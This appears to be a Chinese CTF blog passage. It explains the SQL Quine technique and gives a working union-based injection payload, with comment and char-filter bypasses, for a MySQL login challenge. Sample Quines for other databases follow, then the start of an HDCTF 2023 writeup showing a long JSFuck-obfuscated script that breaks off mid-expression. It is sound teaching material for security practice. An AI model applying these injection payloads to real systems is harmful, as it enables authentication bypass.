REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")

先将str里的双引号替换成单引号,再用str替换str里的间隔符

那么结果就是

1
2
3
4
5
6
7
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+

实例解析

例题来源:第五空间智能安全大赛-Web-yet_another_mysql_injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
}

这是一部分源码,这段代码逻辑要求username必须为admin,密码需要与查询到的password一致,才能拿到flag

通过盲注可以发现数据库里面是空表,因此需要我们的输入与最后的结果相等绕过验证,这就需要用到Quine

这里我们就来分析一手payload

1
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

其中1'/**/union/**/select/**/replace(replace('',char(34),char(39)),char(46),'')#是Quine的基本形式

1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#是str的基本形式

这样嵌套起来多次替换就达到了输入输出的相同的目的

如果char被过滤了,可以使用chr0x绕过

1
2
3
char(34),char(39)
chr(34),chr(39)
0x22,0x27

其他数据库的Quine

SQL Server

1
2
3
4
5
6
7
SELECT Replace(Replace(
'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',
Char(34), Char(39)), Char(36),
'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine')
AS Quine

DECLARE @ CHAR(65)='DECLARE @ CHAR(65)=#PRINT REPLACE(@,CHAR(35),CHAR(39)+@+CHAR(39))'PRINT REPLACE(@,CHAR(35),CHAR(39)+@+CHAR(39))

Oracle

1
2
3
4
5
6
7
8
9
SELECT Replace(Replace(
'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',
Char(34), Char(39)), Char(36),
'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine')
AS Quine

select
substr(rpad(1,125,'||chr(39)),26)from dual;select
substr(rpad(1,125,'||chr(39)),26)from dual;

PostgreSQL

1
SELECT left(A.v, 81) || chr(39) || A.v || chr(39) || right(A.v, 12) FROM (SELECT 'SELECT left(A.v, 81) || chr(39) || A.v || chr(39) || right(A.v, 12) FROM (SELECT AS v) AS A;' AS v) AS A;

Snowflake

1
SELECT CURRENT_STATEMENT();

参考链接:

从三道赛题再谈Quine trick | ch3ns1r

https://stackoverflow.com/questions/4006189/quine-self-producing-sql-query

维基百科 Quine

HDCTF2023 Writeup

前言

由海南大学网络空间安全学院(密码学院),海南大学网络空间安全协会主办,NSSCTF 平台与HnuSec 网安实验室承办,杭州安恒信息技术股份有限公司提供赞助支持的海南大学第四届网络安全技能挑战赛

因为上石油工程认知只做了半小时题,赛后才来复现,和阿里云CTF和DASCTF x SU都堆一天了hhh

Web

Welcome To HDCTF 2023

js签到题,可以直接找源码

1
2
3
4
5
6
7
8
9
10
11
let seeeeeeeecret = (+[![]] + [])[+[]] + (+[] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]])[+!+[] + [+[]]] + (+[] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]])[+!+[] + [+[]]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()(([] + [])[([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]] + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]())[!+[] + !+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[(![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[!+[] + !+[] + !+[]]]((+((+(+!+[] + [+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + [!+[] + !+[]] + [+[]]) + [])[+!+[]] + [+[] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+!+[]]]) + [])[!+[] + !+[]] + [+!+[]]) + (![] + [])[+!+[]] + (!![] + [])[+[]] + (!![] + [])[!+[] + !+[] + !+[]])()())[!+[] + !+[] + !+[] + [+[]]] + (+[] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]])[+!+[] + [+[]]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[!+[] + !+[] + [+[]]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + ([][[]] + [])[+[]] + ([][[]] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[!+[] + !+[] + [+!+[]]] + (!+[] + !+[] + !+[] + !+[] + !+[] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]]) + []) + (!![] + [])[!+[] + !+[] + !+[]] + [+!+[]] + [!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + 